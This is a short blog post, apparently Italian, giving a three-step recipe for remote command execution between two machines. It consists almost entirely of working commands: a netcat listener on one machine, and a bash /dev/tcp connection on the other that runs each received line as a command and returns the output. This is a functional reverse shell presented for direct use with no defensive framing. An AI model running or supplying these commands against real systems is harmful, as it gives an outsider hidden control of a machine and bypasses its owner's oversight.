Scenario:
computer-one it’s the server and the command input.
computer-two it’s the client and the command output.
Go to computer-one as root where you have netcat and run the command:
1) computer-one# nc -l -p 55555
Go to computer-two as normal user and execute this script on the shell
where computer-one_IP is the IP ADDRESS of the computer-one
2) computer-two$ exec 5<>/dev/tcp/computer-one_IP/55555
Execute also this string on computer-two as normal user:
3) computer-two$ cat <&5 | while read line; do $line 2>&5 >&5;done
Now you can write commands on computer-one and see the output result on computer-two
Nessun commento:
Posta un commento